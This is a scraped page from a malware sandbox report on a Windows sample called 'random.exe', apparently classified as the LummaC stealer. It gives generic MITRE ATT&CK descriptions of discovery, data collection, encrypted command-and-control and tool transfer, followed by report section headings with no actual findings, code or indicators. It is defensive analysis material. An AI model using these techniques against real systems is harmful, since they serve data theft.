Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report random.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
random.exe